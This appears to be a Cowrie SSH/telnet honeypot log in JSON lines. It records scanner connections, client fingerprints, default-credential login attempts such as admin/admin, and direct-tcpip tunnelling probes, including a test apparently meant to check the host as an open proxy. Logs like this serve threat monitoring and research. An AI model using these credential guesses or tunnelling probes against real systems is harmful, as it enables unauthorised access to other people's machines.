{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:38:16.121394Z","src_ip":"2.57.122.208","session":"8aabdd765ff0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:38:17.927431Z","src_ip":"2.57.122.208","session":"8aabdd765ff0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:38:19.118216Z","src_ip":"2.57.122.208","session":"8aabdd765ff0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":33498,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd55677d4eba","protocol":"telnet","message":"New connection: 180.235.129.180:33498 (10.17.0.5:23) [session: bd55677d4eba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:38:39.540924Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":35004,"dst_ip":"10.17.0.5","dst_port":22,"session":"acb54c0af943","protocol":"ssh","message":"New connection: 87.251.64.176:35004 (10.17.0.5:22) [session: acb54c0af943]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:38:41.965675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:38:41.971016Z","src_ip":"87.251.64.176","session":"acb54c0af943","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:38:42.067870Z","src_ip":"87.251.64.176","session":"acb54c0af943","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:38:42.357460Z","src_ip":"87.251.64.176","session":"acb54c0af943","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:38:42.457218Z","session":"acb54c0af943","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:38:42.555790Z","src_ip":"87.251.64.176","session":"acb54c0af943","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:38:42.655354Z","src_ip":"87.251.64.176","session":"acb54c0af943","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":43990,"dst_ip":"10.17.0.5","dst_port":22,"session":"52a66e4a0b83","protocol":"ssh","message":"New connection: 2.57.122.208:43990 (10.17.0.5:22) [session: 52a66e4a0b83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:38:46.970853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:38:47.327037Z","src_ip":"2.57.122.208","session":"52a66e4a0b83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:38:47.330922Z","src_ip":"2.57.122.208","session":"52a66e4a0b83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:38:48.948236Z","src_ip":"2.57.122.208","session":"52a66e4a0b83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:38:50.239332Z","src_ip":"2.57.122.208","session":"52a66e4a0b83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"18.218.118.203","src_port":43372,"dst_ip":"10.17.0.5","dst_port":22,"session":"f74aee374912","protocol":"ssh","message":"New connection: 18.218.118.203:43372 (10.17.0.5:22) [session: f74aee374912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:38:59.184485Z"}
{"eventid":"cowrie.client.version","version":"","message":"Remote SSH version: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:38:59.189929Z","src_ip":"18.218.118.203","session":"f74aee374912","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:38:59.193827Z","src_ip":"18.218.118.203","session":"f74aee374912","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.559757709503174,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:39:27.100543Z","src_ip":"180.235.129.180","session":"bd55677d4eba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"18.218.118.203","src_port":56160,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b94266b50b7","protocol":"ssh","message":"New connection: 18.218.118.203:56160 (159.203.135.109:22) [session: 9b94266b50b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:39:32.936709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:39:32.944014Z","src_ip":"18.218.118.203","session":"9b94266b50b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:39:32.988292Z","src_ip":"18.218.118.203","session":"9b94266b50b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:39:42.937322Z","src_ip":"18.218.118.203","session":"9b94266b50b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"18.218.118.203","src_port":57192,"dst_ip":"10.17.0.5","dst_port":22,"session":"3599056685ea","protocol":"ssh","message":"New connection: 18.218.118.203:57192 (10.17.0.5:22) [session: 3599056685ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:40:32.957082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:40:32.961979Z","src_ip":"18.218.118.203","session":"3599056685ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:40:32.980996Z","src_ip":"18.218.118.203","session":"3599056685ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:40:42.957256Z","src_ip":"18.218.118.203","session":"3599056685ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.18","src_port":38994,"dst_ip":"10.17.0.5","dst_port":22,"session":"17f77f5d9007","protocol":"ssh","message":"New connection: 176.65.132.18:38994 (10.17.0.5:22) [session: 17f77f5d9007]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:41:01.486814Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:41:01.492246Z","src_ip":"176.65.132.18","session":"17f77f5d9007","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.18","src_port":38998,"dst_ip":"10.17.0.5","dst_port":22,"session":"af86b028da66","protocol":"ssh","message":"New connection: 176.65.132.18:38998 (10.17.0.5:22) [session: af86b028da66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:41:01.579359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:41:01.584461Z","src_ip":"176.65.132.18","session":"af86b028da66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:41:01.672557Z","src_ip":"176.65.132.18","session":"af86b028da66","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:41:01.964326Z","src_ip":"176.65.132.18","session":"af86b028da66","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"176.65.132.18","dst_port":80,"src_ip":"176.65.132.18","src_port":5555,"message":"direct-tcp connection request to 176.65.132.18:80 from 127.0.0.1:5555","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:41:02.158088Z","session":"af86b028da66","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"176.65.132.18","dst_port":80,"data":"b'BKEIWD3hmwDN7GIMvV9kGi7wXS1se1GpPKLlAkNopDoIwDq9HE'","id":0,"message":"discarded direct-tcp forward request 0 to 176.65.132.18:80 with data b'BKEIWD3hmwDN7GIMvV9kGi7wXS1se1GpPKLlAkNopDoIwDq9HE'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:41:02.246547Z","src_ip":"176.65.132.18","session":"af86b028da66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:41:02.348565Z","src_ip":"176.65.132.18","session":"af86b028da66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":57790,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5ed2736e207","protocol":"ssh","message":"New connection: 2.57.122.208:57790 (159.203.135.109:22) [session: b5ed2736e207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:41:02.535152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:41:02.627784Z","src_ip":"2.57.122.208","session":"b5ed2736e207","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:41:02.743100Z","src_ip":"2.57.122.208","session":"b5ed2736e207","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:41:03.326144Z","src_ip":"2.57.122.208","session":"b5ed2736e207","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:41:04.626578Z","src_ip":"2.57.122.208","session":"b5ed2736e207","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":58392,"dst_ip":"10.17.0.5","dst_port":22,"session":"893622b96876","protocol":"ssh","message":"New connection: 2.57.122.208:58392 (10.17.0.5:22) [session: 893622b96876]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:41:33.623364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:41:33.718484Z","src_ip":"2.57.122.208","session":"893622b96876","protocol":"ssh"}
